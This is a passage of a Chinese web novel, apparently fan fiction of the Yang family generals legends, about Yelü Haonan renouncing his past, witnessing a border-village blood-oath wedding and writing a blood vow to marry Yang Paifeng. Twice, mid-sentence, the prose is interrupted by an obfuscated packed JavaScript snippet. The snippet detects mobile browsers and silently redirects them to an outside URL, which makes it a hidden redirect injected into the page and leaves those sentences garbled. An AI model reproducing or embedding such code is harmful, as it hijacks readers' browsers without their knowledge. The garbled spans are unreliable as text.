“但,弟子……不再避世。” 他抬起头,目光穿过消散的法相金光,望向山下那片灯火依稀、生机勃勃的尘世,眼中是前所未有的清明与温柔。 “护苍生,亦如护妻儿;入红尘,亦是……修行场。” “弟子,去了。” 话音落下,最后一缕金光,彻底消散于天地之间。云海复涌,月华依旧,北斗星辉渐敛,仿佛一切从未发生。 唯有他眉心那点紫微星印,与他胸腔中那颗重新有力、温暖、坚定跳动的心脏,无声地证明着,刚才那一切的真实,与他——彻底的新生。 ------ 踏下山巅,走向那片被清冷月色笼罩的松林。 林边,一道纤细却挺直的身影,执着一把普通的油纸伞,静静地立于纷纷扬扬、尚未落尽的细雪之中,不知已等候了多久。 是杨排风。 她鬓角那几缕在月光映照下清晰可见的霜色与皎洁清冷的月华,悄然交融在一起,分不清哪是岁月的痕迹,哪是天地的光辉,唯有一种历经沧桑、沉淀过后的、惊心动魄的宁静与美丽。 她的手中,紧紧攥着一物。 耶律皓南的目光,瞬间凝固。 那是——一枚雕工古朴、线条凌厉、以墨玉精心雕琢而成的——狼首玉佩。 正是六年前,那个改变了一切的雨夜,两人定情之后,他凌晨悄悄离开,摘下自己颈间从不离身的、象征北汉刘氏皇孙身份的贴身信物,塞进她手中,作为“定情”亦或“遗物”的——那枚玉佩。 他下意识地抬手,抚向自己此刻空荡无一物、只余布衣粗粝触感的颈间。 原来…… 原来这六年,她一直带着。 带着这枚代表着他“耶律皓南” 的罪孽、身份、过往,也承载着他们之间最隐秘、最初、也最痛的牵绊的信物。 “原来……” 他缓缓走近,声音因长时间的静坐与刚才的剧变而有些低哑,嘴角却不由自主地,勾起一抹极淡、却真实无比、带着无尽感慨与温柔的——轻笑。 “你一直带着。” 杨排风没有回答。 她只是走上前,伸出手,将那枚沾染了她掌心温度、或许也浸染过她无数眼泪的狼首玉佩,轻轻地、却又无比坚定地,塞回了耶律皓南那只骨节分明、刚刚经历过罡气洗礼、还带着细微伤痕的掌心。 “这累赘物……” 她抬眼看他,眼中有泪光闪烁,唇角却努力扬起一个带着泪、却异常明亮温暖的笑容。 “还是你自己收着吧。” “往后啊……” 她顿了顿,声音带着一丝哽咽后的轻松,仿佛卸下了千斤重担。 “只当是……留给朔儿,将来给他,或是给他将来的孩儿,打一副长命锁的——边角料。” “……” 耶律皓南握着掌心那枚重新回到手中、却似乎已完全不同的玉佩,指腹摩挲着冰凉温润的玉质,感受着其上残留的、属于她的温度与气息。 他沉默了片刻。 然后,在杨排风略带疑惑的注视下,他忽然,握着玉佩,走向旁边一处陡峭的崖边。 那里,有一块半人高、历经风霜、表面粗糙的青黑色山石。 他站定,抬手,运起体内那刚刚成型、温润却蕴含无匹锋锐的九天罡气,并指如刀,对着那块坚硬的山石,狠狠劈下! “咔嚓——!轰!” 一声闷响!碎石飞溅! 那坚硬无比的花岗岩,竟被他徒手,硬生生劈开一道深达尺许、边缘光滑如镜的裂缝! 在杨排风惊愕的目光中,耶律皓南将手中那枚代表着他“耶律皓南”全部过往的狼首玉佩,毫不犹豫地、轻轻放入了那道石缝深处。 然后,他随手拂过旁边散落的较小石块,将它们推入缝中,将玉佩,彻底掩埋、封存在这华山之巅、坚硬冰冷的岩石之内。 石屑纷飞,落在积雪上,发出“簌簌”轻响。 他直起身,拍了拍手上沾着的石粉与雪沫,转身,看向依旧怔怔望着他的杨排风,声音平静,却清晰得仿佛要刻入这山峦与月光: “北汉皇孙,耶律皓南——” “今日,死于华山之巅。” 他顿了顿,目光越过她,望向山下那片逐渐被晨曦微光勾勒出轮廓的、充满了烟火人间的、广阔天地,唇边那抹笑意,愈发深了,也愈发……温柔,踏实。 “活着的……” “是欠了一个烧火丫头,一辈子……” “金酥烧鸡的——” “刘、皓、南。” “……” 松风不知从何处卷来,带着清冽的雪沫与松针的清香,轻柔地拂过两人相视而立的身影。 风声中,仿佛隐约传来一声极轻、极淡、带着无尽欣慰与释然的——轻笑。 是幻觉? 抑或是那位已登仙界、却始终关注着人间弟子的师尊,最后的祝福与回应? 无人知晓。 山脚下,远方的村落里,第一缕炊烟,正袅袅地、倔强地,穿透渐散的晨雾,笔直地升上渐渐明亮起来的天空。 人间烟火,生生不息。 那是战场之外的生机,是权谋之下的温暖,是仇恨之后的包容,是历经一切劫波、疯狂、痛苦、迷失后,最终指引归途的—— 最平凡,却也最真实,最珍贵的——光。 ------ 宋辽边境·风沙中的喜宴 黄土夯实的简陋村道,在终年不息的凛冽风沙中,蜿蜒向远方模糊的地平线,如同一条干涸龟裂、濒死巨蟒的脊背。风声呜咽,卷起粗粝的黄沙,扑打得道旁几株枯死半边的歪脖子老树,瑟瑟发抖,枝叶发出如同鬼拍手的、单调而渗人的“哗啦”声。 然而,就在这片被战乱、贫穷、风沙反复蹂躏、仿佛被天地遗忘的荒凉边地,今日,却陡然响起了一串突兀、尖锐、却又带着一种撕开裂肺般生命力的——唢呐声。 “呜哩哇啦——!!” 声音并不悦耳,甚至因吹奏者的力竭与乐器的破旧而显得有些走调、干涩、破锣一般。但它不管不顾,拼尽全力,悍然劈开了沉重的风沙幕布,在这片灰黄死寂的天地间,硬生生,吹出了一截颤巍巍的、却鲜艳夺目到刺眼的——红! 那是一顶褪了色、打了补丁、甚至边缘已被风沙磨损出毛边的简陋红绸轿,正被四个同样衣衫褴褛、面有菜色的精壮汉子,吭哧吭哧地抬着,踏着被风吹得几乎看不见的浅浅车辙印,摇摇晃晃地前行。 这便是这场边境婚礼的全部“排场”了。 婚礼的“场地”,是村口一片相对平整的打谷场。席棚,是借来的、不知哪个边军废弃的、缝缝补补、千疮百孔的旧军帐,在风中猎猎作响,仿佛随时会被下一阵更猛的风连根拔起。 酒,是村里自家酿的、掺了大半河水、寡淡如水的劣质村酿,盛在豁口的粗陶碗里。 宾客不多,大多是同村的边民。他们脸上带着长年被塞外风霜与无休止的战乱磨砺出的、深刻的木然、警惕与一种近乎麻木的坚韧。笑容勉强,眼神闪烁,交谈声压得极低,仿佛生怕惊动了什么隐藏在风沙与地平线之后的不祥之物。 然而—— 就在这一切都显得如此简陋、仓皇、朝不保夕的背景下—— 那仅以一个临时搭起的,歪歪斜斜的土台作为正堂前,高悬着的、墨迹歪扭却一笔一划极其用力的“天地君亲师”牌位之下—— 披着那顶褪色红盖头的新娘,脊背,挺得笔直。 如同荒漠中一株即便被风沙压弯、下一刻就可能折断,却依旧顽强指向天空的——红柳。 而她身旁,那位同样穿着浆洗得发白、打着补丁的粗布“吉服”的新郎,那双显然长年握惯了沉重的锄头与冰冷的弓刀、布满厚茧与伤痕的、骨节粗大的手—— 此刻,正不受控制地、微微地、剧烈地——颤抖着。 他小心翼翼地,如同捧着世间最易碎、最珍贵的宝物,将一根同样褪了色、却洗得干干净净的红绸,轻轻地,郑重地,塞进了身旁新娘那同样因紧张而微微蜷缩、冰凉的掌心。 红绸相连,两手相握。 粗糙的掌心,温暖的温度,坚定的力道。 无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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婚仪开始了。没有汴京的繁文缛节,笙歌宴舞,却在这简陋与仓皇之中,糅杂、迸发出一种属于边地生灵在绝境中挣扎求存的、倔强到令人心颤的生命力与仪式感。 香案上,按着中原汉家古礼,供着几个粗糙得甚至能看见麦麸的黑面馒头,插着以劣质黄纸手绘的、字迹歪斜的“天地码”神位 然而,新娘下轿时,却并非莲步轻移。她利落地一撩裙摆,那粗布裙子下,赫然露出一双沾满泥污、磨损严重的旧马靴,毫不犹豫地抬腿,跨过了摆放在轿前的一具不知从哪个报废的战马身上卸下来的、锈迹斑斑、鞍鞯破旧的马鞍。 那是北地游牧民族古老的习俗——“跨鞍辟邪”,祈求新婚夫妇未来生活平安,远离马背上的刀兵之灾。 汉与胡,农与牧,文明与野性,在这边境的尘埃与风沙中,如此自然又如此突兀地交融在一起,构成一幅荒诞却真实的边地风俗画。 最引人注目的,是接下来的“撒豆谷”环节。 一位被村民恭敬地称为“阴阳人”的跛脚老者,或许曾是军中的巫师,或许是懂些民间禳解之术的残者,颤巍巍地走到场中。 他手中捧着一个边缘有好几处豁口的粗陶斗,斗中盛着混杂在一起的谷粒、豆子,以及零星几枚磨得发亮、却显然价值极低的铜钱。 老者深吸一口气,用尽全身力气,将陶斗中的混合物,奋力地、高高地——扬向空中! “哗——!” 谷豆如同金色与褐色的雨点,噼里啪啦地打在破旧的席棚顶上,落在干燥的土地上。那几枚铜钱,在阳光下划过微弱的光芒,叮叮当当地掉进干裂的土缝里,瞬间被尘土掩埋大半。 “抢呀!抢福气呀!!” 早已等待多时的孩童们,发出一阵震天的欢呼,如同一群出笼的小兽,毫不顾忌地扑进飞扬的尘土之中!他们用脏兮兮的小手,在地上飞快地扒拉、争抢着那点微不足道的“吉兆”。 谷粒,或许能让来年的粥稠上一分。 豆子,或许能多换半块盐巴。 铜钱……更是了不得的财富。 这点“福气”,在这朝不保夕的乱世边地,就是一家人能否熬过下一个寒冬的、实实在在的希望。 这漫天飞扬的尘土与谷豆,这孩童们的欢笑与争抢,仿佛是这片被战火与贫瘠反复炙烤的土地上,倔强地迸发出的、一点卑微却顽强到令人鼻酸的——生机。 高潮,骤然降临。 一直沉默地、微微颤抖着的新郎,突然伸手,猛地抽出了一直别在腰间的、一柄用来割肉的、刃口闪着寒光的短刀!寒光一闪!快得令人猝不及防 “嗤啦——” 锋利的刀刃,在他自己的左手腕上,狠狠地划过!瞬间,一道深可见骨的伤口裂开,殷红的血珠,大颗大颗地涌出! 紧接着,他毫不犹豫,抓起新娘的右手,在她同样的手腕位置,也是一刀! 新娘的身体微微一颤,盖头下传来一声极低的闷哼,却没有挣脱。 然后在所有人屏息凝神、甚至带着几分恐惧的注视下,新郎与新娘,将那两道仍在汩汩冒血的伤口,紧紧地、用力地,贴在了一起! 十指,随之死死地、如同要嵌入对方骨肉般地——交扣。 滚烫的鲜血,从两人紧紧相贴的伤口中交融、汇合,再也分不清彼此,然后,滴滴答答地,滴落在脚下那片被千百人踩踏过、浸染过汗水、泪水与或许还有鲜血的——干裂的黄土之上。 滴出一小片暗红的、迅速被泥土吸收的湿痕。 司仪——那位同样是村中长者的老者,用一种苍老得如同破风箱、却又异常高亢、嘶哑、仿佛要撕裂这漫天风沙的声音,用力地、一字一顿地喊道: “以血——为盟!” “以土——为证!” “乱世——夫妻!” “死生——不、离!!” “……” 最后四个字,如同四记重锤,狠狠砸在每一个在场之人的心头,也砸在了暗处那两个“旁观者”的灵魂深处! ------ 耶律皓南浑身剧震,仿佛那一刀,不是划在新郎的手腕上,而是狠狠地、直接划在了他自己的心上! 眼前,瞬间闪过了六年前,天门阵前,那个同样疯狂、同样决绝的自己—— 手握匕首,对准自己的心口,毫不犹豫地刺入、剜出那颗尚在跳动的心脏,以滚烫的心头血,浇灌那面吞噬了无数生灵的、罪恶的天门阵旗! 同样的血色。 同样的决绝。 可那时,他求的,是什么? 是尸山血海堆砌的、虚无缥缈的复国迷梦!是以万千无辜性命为祭品、向命运与仇敌发出的、歇斯底里的复仇咆哮! 而眼前这对新人,他们以血相融,以命相托,求的,不过是在这无休止的战火缝隙里,在这朝不保夕的乱世中,能有一个或许活不过明年今日的、可以互相取暖、相依为命的——家。 一个简陋的茅屋,一口热饭,一盏等着他归来的昏黄油灯,以及……身边这个愿意与他同生共死的人。 如此卑微。 如此简单。 却又如此……奢侈。 一股混杂着强烈的对自己过往的恶心。冰冷的明悟,以及一种深入骨髓的悲悯与酸楚,如同一只无形的冰冷巨手,狠狠攥住了耶律皓南的五脏六腑,攥得他几乎无法呼吸,眼前阵阵发黑。 他下意识地抬起手,按向自己的心口。 那里,新愈的伤疤,换心与罡气重塑的痕迹,在粗布衣下隐隐搏动。 不再是阴煞反噬时那种灼烧、撕裂的剧痛。 而是一种……滚烫的、仿佛被放在烈火上炙烤般的 羞耻。 为自己曾经的野心与疯狂。 为自己竟曾将如此简单的幸福,视为可以随意践踏、牺牲的蝼蚁。 一只微凉、却异常柔软、带着常年握枪留下的薄茧的手,悄然覆上了他那只紧紧按在心口、冰凉颤抖的手背。 是杨排风。 她没有看那对正在进行血誓的新人。 她的目光,空空地、遥遥地,投向了村外那片在风沙中若隐若现、荒芜苍凉的远山轮廓。 声音,轻得像是一声随时会被风吹散的叹息,却又清晰地传入耶律皓南的耳中: “你看他们……” “多好。” 她顿了顿,仿佛在积蓄着力气,去描绘一个过于奢侈、遥远得如同海市蜃楼般的幻景: “若……若真有天下太平的那一日……” “我们……或许也能在某个不知名的小镇,开间小小的茶铺。” “你不用再算计天下大势,运筹帷幄,只需每日拨弄着算盘,计较着柴米油盐的进出……” “我也不必再提着烧火棒,上阵杀敌,或是在深宫高墙内步步为营……只管招呼过往的行人,添茶续水,听他们讲讲路途见闻,家长里短……” 她极淡地笑了一下。 那笑意,未达眼底。 只余下深不见底的疲惫,与一丝连她自己都不敢相信的、微弱得如同风中残烛、却又顽强地不肯熄灭的向往。 “柴米油盐,晨昏相伴……” “那样的日子,该是什么模样?” 她没有说下去。 也不必再说。 这平淡到近乎琐碎、甚至有些“没出息”的憧憬,此刻,却比千军万马的嘶鸣、比朝堂之上的阴谋算计、比他半生执着的复国大业,更加沉重地、狠狠地——砸在了耶律皓南的心头! 他反手,用力地、几乎是用尽了全身力气地,握住了她那只覆在他手背上的、微凉的手。 握得指节泛白,骨节咯吱作响。 仿佛想从这真实的、温暖的触碰中,汲取到足够的力量,去对抗那来自袖中、来自盛京、来自过往的、冰冷而沉重的虚无使命与威胁。 他张了张嘴。 喉咙干涩发紧,像是被粗粝的沙石堵住。 想承诺“会有那一天的”。 想说他不会再走,不会再让她独自等待。 想说……很多很多。 可袖中那道冰冷的金令,喉间那句无法吐露的“萧太后以北汉遗民相胁”…… 像是最腥臭、最粘稠的铁锈,死死地哽在了他的喉咙深处,堵住了所有的誓言,所有的承诺,所有的……希望。 最终。 他只是更紧地、更用力地,握住了她的手。 目光,重新投向了那片依旧在飞扬的尘土、谷豆,与那对十指紧扣、血流交融的新人。 唢呐还在嘶鸣。 吹奏着绝望与希望交织的、荒腔走板的调子。 这场边境穷村里的、简陋到寒酸的婚仪…… 成了一面镜子。 一面异常清晰、残酷,却又莫名地,给他那片因过往罪孽与眼前威胁而如死水般凝滞的心境,投下了一颗关于“另一种可能”的石子。 风,卷着“撒豆谷”的余响,与那淡淡的、却直钻鼻尖的血腥气,渐渐远去。 他们躲在暗处。 像是两个误入他人梦境的孤魂。 偷窥着一场或许永远不属于自己的、烟熏火燎的、却又真实得让人心口发烫的—— 人间温暖。 9. 苑罗郡主 人群外围,阴影与火光交界的角落。杨排风悄然握住了耶律皓南那只冰凉、骨节分明、此刻正因用力握拳而微微颤抖的手。 她的目光并未落在远处那对正在进行血誓的新人身上,而是越过喧闹的人群,落在新娘那身虽然粗糙、褪色、打着补丁,却浆洗得干干净净的粗布嫁衣上,以及新娘发髻间,那用路边随手采撷的、叫不出名字的、色彩却异常鲜亮活泼的野花,精心编织、点缀而成的“花冠”上。 野花在篝火与暮色的映照下,倔强地绽放着属于山野的、未经雕琢的、蓬勃的生命力。 “你看那新娘……” 杨排风的声音极轻,轻得像是一声随时会被风吹散的叹息,却又清晰地传入耶律皓南耳中,带着一种悠远的、难以言喻的复杂情绪。 “她嫁衣是粗布的……可簪了满头的野花。” 她顿了顿,目光似乎有些飘忽,仿佛穿透了眼前的简陋与风沙,看到了某个遥远的、繁华的、与她的出身与少女时代的模糊憧憬相关的场景。 “若在汴京……” 她的声音更轻了,带着一丝自嘲与难以察觉的、被岁月磨平了棱角的遗憾,“我本该……凤冠霞帔,八抬大轿,风风光光地被你迎……迎过府。” 最后几个字,她说得很慢,很涩,仿佛每个字都带着六年独守空闺的冰冷与尘埃。 那是她身为天波府杨家将、虽为婢女却自幼在忠烈之门长大,内心深处或许也曾有过的、关于婚姻的、最传统却也最理所当然的想象。门当户对(尽管在她和他之间从来不是),明媒正娶,得到家族与世俗的认可与祝福。 耶律皓南猛地转头! 目光如同被灼伤般,死死地盯在杨排风的侧脸上,然后,不受控制地,下滑,落在了她鬓角——那在夹杂着沙粒的夜风中,几缕散落的,不再乌黑如云、而是夹杂着些许刺目银白的发丝,正微微地、脆弱地颤动着。 那是……岁月的痕迹?是……忧愁的烙印?更是……六年前,那个改变一切的雨夜之后,她独守空闺,日夜煎熬,在希望与绝望之间反复撕扯,无人可诉,只能将一切深埋心底,任由青丝染霜的——无声却无比沉重的印记! 喉间,仿佛瞬间被一只冰冷的手死死扼住!哽塞得生疼,几乎无法呼吸!胸膛里那颗新愈的、被罡气温养的心脏,传来一阵尖锐的、混杂着无尽愧疚、心疼与暴烈冲动的刺痛! “何须汴京?!” 他几乎是脱口而出!声音因情绪的激烈冲撞而嘶哑、低沉,却带着一种斩钉截铁的、不容置疑的决绝! “明日!就在这村里!” 他反手,更加用力地握住了她的手,目光灼灼,逼视着她因他突然的话语而骤然睁大、充满了惊愕与难以置信的眼眸。 “我以天地为媒,山川为证,风沙为乐,这满村不识你我、却心怀善意的边民为宾——” 他一字一顿,每个字都像是从胸腔里迸出来,砸在她的心上: “娶你过门!” “……” 杨排风彻底怔住了。她的眼睛瞪得很大,瞳孔中倒映着他因激动而微微泛红的面庞,以及那双褪尽了往日阴鸷、此刻只剩下炽热而坦诚的眼眸。 她的指尖,无意识地、轻轻地抚上他那身灰扑扑行商短打的袖口,袖口处,布料已被长途跋涉与风沙磨损得起了毛边,甚至有几处细小的破口。这身衣服,还是她在华山脚下的小镇上,用所剩无几的铜钱,买了最便宜的粗布,借了客栈的针线,在油灯下,一针一线,笨拙却认真地缝补、改制而成的。 “你如今……连这身布衣,都是我缝的……” 她的声音很低,带着一丝恍惚的苦笑,那苦笑中,却透着重逢后才有的、深入骨髓的亲昵与相依为命的熟稔。 “摆什么……北汉皇孙的谱?” 她抬眼看他,眼中有泪光闪动,却努力挤出一个笑容,“可是……天波府……” 那是她的家,是她无法割舍的牵挂与责任。即使已“平反”,但余波未平,危机四伏。 “天波府要救!” 耶律皓南斩钉截铁,毫不犹豫。“但,亲,也要成!” 他反手,将她那只因长年握枪而生出厚茧、却依旧纤细的手掌,紧紧地、完全地,包裹在自己的掌心。那厚茧的粗糙触感,提醒着他她曾经经历的一切,也让他的心更加酸涩而坚定。 “我耶律皓南,此生负你太多。” 他的声音低沉下来,带着深刻的痛楚与愧疚,“不能再让……一个名分,悬空六年!不能让你……再等了!” 就在此时—— “哗——” 人群忽然微微分开一道缝隙。一名身着最普通的荆钗布裙、面容平静甚至有些木然、却依稀可见昔日端丽轮廓的妇人,牵着一个约莫四五岁、脸颊被风沙吹得红扑扑、眼睛乌溜溜好奇张望的幼童,缓步走了过来。 竟是——隐居多年、音讯全无的苑罗郡主!(杨宗元之妻,杨家将杨宗保的堂嫂) “郡主!” 杨排风眼睛一亮,脸上露出真切的惊喜,下意识地上前一步,伸手抓住了苑罗郡主的手腕,“您怎么在这里?太好了!天波府已经……” 她的话还没说完。 苑罗郡主却平静地,几乎是不动声色地,将自己的手腕,从杨排风的掌握中,轻轻地、却异常坚决地抽了回来。 同时,她将身旁的幼子,往自己身后掩了掩,动作自然,却带着一种母兽护崽般的本能与疏离。 “排风。” 她开口,声音平静得没有丝毫波澜,目光也未看向激动的杨排风,而是缓缓扫过周围这座简陋、贫瘠、却在此刻充满了喧闹生机的小村庄。“你看这村子……可好?” 她的问题很轻,仿佛只是在询问一件与自己无关的寻常事。 不等杨排风回答,她的目光,变得悠远而空茫,仿佛穿透了眼前的一切,看向了某个遥远的、再也回不去的过去。 “宗元……战死前一夜,还在我耳边念叨……” 她的声音依旧平静,却带上了一丝几不可察的颤音,“说等这仗打完了,天下太平些了,就带着我和孩子,找个像这样的地方……种豆。” 她的目光,落在不远处几个正在尘土中追逐打闹、发出无忧无虑笑声的村童身上,那目光深邃如同塞外无垠的雪原,沉静,冰冷,却又蕴藏着某种极致的温柔与悲伤。 “杨家的男人……” 她顿了顿,仿佛在咀嚼这个称呼背后沉重的含义,“从会走路,就要学着握枪,学着……为国赴死。” “我儿……” 她低下头,看了眼身后好奇探出脑袋的幼子,伸手,极其轻柔地抚了抚孩子被风吹得乱糟糟的头发,声音轻得如同梦呓,却字字如锤,砸在杨排风与耶律皓南的心上: “……该有……摘豆、捕雀的……童年。” “……” 杨排风如遭雷击,浑身剧震,脸色瞬间惨白! 她的眼前,仿佛同时闪过了无数画面—— 杨宗保战死沙场,马革裹尸,却因朝廷党争、奸臣诬陷,棺椁不得入祖坟,灵位不能进宗祠的……屈辱与悲愤。 穆桂英,那个曾经叱咤风云、英姿飒爽的女将,在接到丈夫死讯与不公对待后,一夜之间……鬓角尽白的凄绝与苍凉。 佘太君,杨家最后的定海神针,拄着那根沉重的龙头杖,日日站在天波府的门楼上,望穿秋水,等待着儿孙归来,却只等来一个又一个噩耗与打击的……佝偻背影。 “忠烈”二字…… 原来,不仅是刻在史书上的丰碑,不仅是百姓口中的颂歌。 更是……以一代又一代杨家儿郎的热血与生命,以一位又一位杨家女眷的青春、幸福、乃至余生的孤寂与血泪为墨,深深镌刻在……遗孀白骨之上的——血色碑文。 她终是……咽下了所有劝其“回归”天波府的言语。那些话,在苑罗郡主这平静却重逾千钧的抉择面前,显得如此……苍白无力,甚至……残酷。 她只是默默地,从自己怀中,掏出一枚贴身藏了许久、被体温焐得温热的——小小的、样式简单的银锁。 她蹲下身,将银锁轻轻放进那孩子懵懂伸出的、脏兮兮的小手掌心,声音哽咽,却努力让自己的语气听起来平和: “愿他……永不知……何为‘杨家枪’。” 愿他,永远不用背负那沉重的宿命,不用面对那血色的荣光与代价。 苑罗郡主的目光,这才第一次,真正地、认真地,落在了一直沉默站在杨排风身后、面容隐在阴影中的耶律皓南身上。 “皓南兄。” 她开口,用了一个旧日的、带着几分熟稔与敬重的称呼。 “宗元常说……” 她的眼底,终于泛起了一层明显的水光,在篝火映照下潋滟闪烁,但她的唇边,却努力扬起了一抹极淡、却真实的笑意,“若你生于盛唐……当为凌烟阁功臣,名标青史,光耀千秋。” 她顿了顿,目光变得深邃,看着耶律皓南,仿佛在透过他,看向另一个已逝的灵魂: “他为你效力辽国,鞍前马后,甚至……最后赔上性命……不是贪图功名利禄,也不是畏惧你的权势手段。” “他是……感激你。” 她的声音很轻,却异常清晰,“感激你,让他的枪尖,能指向他心中认为值得的、辽阔的天地——” “而非……困死在这漫无边际的边境,日复一日,只能对着羊群,空耗一身所学,磨尽所有锐气与梦想。” “……” 耶律皓南踉跄半步,仿佛被无形的重锤狠狠击中胸口! 眼前,骤然浮现出耶律宗元——那个性情爽朗、笑起来露出一口白牙、总是拍着他肩膀称“愿为知己死”的辽国悍将。 最后一次见他,是在宋辽即将爆发一场大规模边衅的前夜。耶律宗元单骑闯入他的帅帐,留下一句“此战不义,我不愿见两国百姓再添新坟”,然后毅然返回阵前,在两军对垒之际,横刀……自刎。以一己之死,暂时阻住了那场一触即发的血战。 原来……他求的,从来不是什么青史留名,凌烟阁画像。 他求的,不过是……妻子灶头一碗冒着热气的普通汤饭,稚子膝下一声软糯的“爹爹”,以及……手中那杆枪,能刺向他认为“值得”、“不愧对心”的方向。 如此……简单。如此……纯粹。 而自己呢? 复国大业如山压来,野心与执念吞噬了一切。他算计天下,利用所有人,包括那些愿意跟随他、信任他的“朋友”与下属。 他竟……从未真正问过身边这个为他付出一切、等待了六年的女子—— 杨排风,你……真的愿意,做那虚无缥缈的北汉皇后吗?还是……只愿做一个普通的、可以与丈夫晨昏相伴、不用提心吊胆、不用背负国仇家恨的——屯田兵卒的妻? 这个问题,如同一道闪电,劈开了他心中某些根深蒂固的迷雾。 “排风!” 他忽然转身,面对着杨排风,目光炽热而坚定,再无半分犹豫。 在杨排风尚未反应过来的目光中,他猛地伸手,“嗤啦”一声,竟从自己那件粗布内衫的衣襟内衬上,硬生生撕下一块不大、却足够书写的——白色布片! 然后,在杨排风与苑罗郡主惊愕的注视下,他毫不犹豫地,将右手食指送入口中,用力一咬! “呃!” 尖锐的疼痛袭来,指尖瞬间被咬破,殷红温热的血珠,立刻涌了出来! 他面不改色,以指为笔,以血为墨,就在那块白布上,就着身旁篝火跳跃的光芒,笔走龙蛇,疾书起来! 字迹狂放,力透布背,每一笔都仿佛带着他全部的决心、愧疚、爱意与承诺! “天地共鉴:” “耶律皓南,今以指血为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185037|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 契,娶杨排风为妻!” “不求三媒六聘,不问吉时良辰,不论出身门第!” “唯愿生同衾,死同穴!” “生死不负,永不相弃!” “若违此誓,天地共诛,人神共弃!” 最后一笔落下,血字淋漓,在跳动的篝火映照下,宛如雪地中绽放的一树树凄艳决绝的——红梅!触目惊心,却又美得令人心魂俱颤! 他将那份尚带着他体温与血腥气的血书,双手捧到杨排风面前,目光灼灼地看着她,等待着她的回应。 杨排风的目光,从那份血书,移到他因咬破手指而微微蹙眉、却异常坚定的面庞,再移到他那双深邃灼热的眼眸。 泪水,再也控制不住,夺眶而出,大颗大颗地滚落,滴在那血书上,恰好晕开了“排风”二字。墨色的血迹与透明的泪水交融,化开一片温柔而悲壮的痕迹。 然而,她的唇边,却绽开了一个带泪的、灿烂无比的笑容。那笑容,仿佛驱散了所有的阴霾与等待的苦楚,只剩下纯粹的欣喜与确定。 她伸出手,并非先接过血书,而是从旁边尚有余温的篝火旁,拿起一块烤得外皮焦黄、香气扑鼻的——粗面馍馍。 “先吃饱。” 她将馍馍塞进耶律皓南那只刚刚写完血书、还沾着血迹的掌心,声音带着浓重的鼻音,却笑得明媚,“明日……才有力气拜堂。” 远处,苑罗郡主静静地看着这一幕,眼中的水光终于化作一滴泪,悄然滑落。她低下头,对身旁仰着小脸、不明所以的幼子,用一种极其温柔、仿佛能滴出水来的声音,轻声说道: “记住,你爹……叫杨宗元。是个……顶天立地的将军。” “但是……” 她顿了顿,将孩子轻轻搂入怀中,声音低得几不可闻,却满含着无尽的深情与遗憾,“他最盼的……是看着你,平平安安地……长大。” 孩童懵懂地点了点头,似懂非懂。他看了看母亲,又看了看不远处那个看起来有点凶、却又有点不一样的叔叔。然后,他挣开母亲的怀抱,迈着小短腿跑到旁边一棵枯树下,捡起地上一颗不知是谁掉落的、有些干瘪的野果,又跑回来,踮起脚,将那颗野果,努力地塞进了耶律皓南空着的那只手里。 “姑父……喜糖!” 孩童的声音稚嫩清脆,带着边地特有的口音,却让在场的三个大人,同时怔住,随即,心头涌上难以言喻的复杂暖流。 耶律皓南握着手中那颗粗糙、干瘪、却仿佛带着孩子体温的野果,再看看另一只手中杨排风塞给他的、散发着粗砺麦香的烤馍,鼻尖萦绕着尚未散尽的血腥气与烟火气…… 他抬起头,望向夜色中这座荒村。家家户户窗口透出的、如豆般微弱却顽强的灯火;耳边传来的,夹杂在风中的、茅檐下婴儿的啼哭、大人的低语、看家犬的偶尔吠叫…… 这一切,混合在一起,形成一种他过去三十年人生中从未真正接触、理解、在意过的——生活的质感。粗糙,真实,充满苦难,却又蕴藏着最顽强的生机与温暖。 “呵……” 一声极低、带着无尽感慨与恍然的低笑,从他喉间溢出。 “原来……人间烟火,比紫微星象……更难参透。” 他低声自语,目光变得深邃而温柔。那是一种褪去了所有野心与算计、开始真正用“心”而非“脑”去感知这个世界的目光。 杨排风此时已经擦干了眼泪。她伸手,从自己那简单挽起的发髻上,拔下了唯一的饰物——一根样式朴素的木簪。然后,她小心翼翼地,将那份血书,仔细地卷成一个紧实的小卷,再用一根从衣角撕下的布条轻轻系好,最后,将这个血书卷,珍而重之地,插回了发髻之中,替代了原本的木簪。 木簪被她随手插在了鬓边,簪尾不知何时沾上的几朵小小的、枯萎了一半的野花,随着她的动作轻轻簌簌颤动,就像她此刻微微颤抖的、却异常明亮坚定的眼神与笑意。 “明日拜堂,我便戴这个。” 她看着他,眼中有光,“反正……你当年说过,烧火丫头配北汉皇孙,算是……高攀。” 她学着他当年可能的语气,带着几分俏皮与释然。既然是“高攀”,那就用这最“寒酸”却最“珍贵”的“聘礼”与“嫁妆”,把这“高攀”坐实了吧! 夜色渐深,远处的喜宴渐渐散去,喧嚣归于平静,只剩下几堆篝火余烬在夜风中明灭不定,发出细微的“噼啪”声。那对新人,已携手踏着月色,回到了他们简陋却温暖的新房。 耶律皓南望着那对新人消失在土墙后的背影,久久无言。然后,他轻声开口,声音平静,却带着一种对未来的确定与向往: “待盛京事了……” “我们带朔儿……回这里。” “开间茶铺。” 不求富贵,不问前程,只守着这片见证了他们最重要决定的土地,过最平凡的日子。 “然后看着刘朔把茶铺吃垮?” 杨排风忍不住“噗嗤”一声笑了出来,眼中却又泛起了泪花,这次是幸福的。她将他的手握得更紧,仿佛要将彼此的温度与力量融为一体。 “嗯。” 耶律皓南也笑了,回握住她的手。 两颗曾在血雨腥风、阴谋算计、生离死别中备受煎熬的心,在这片充满苦难却又生机勃勃的边地夜色中,紧紧地、毫无缝隙地——靠拢在一起。 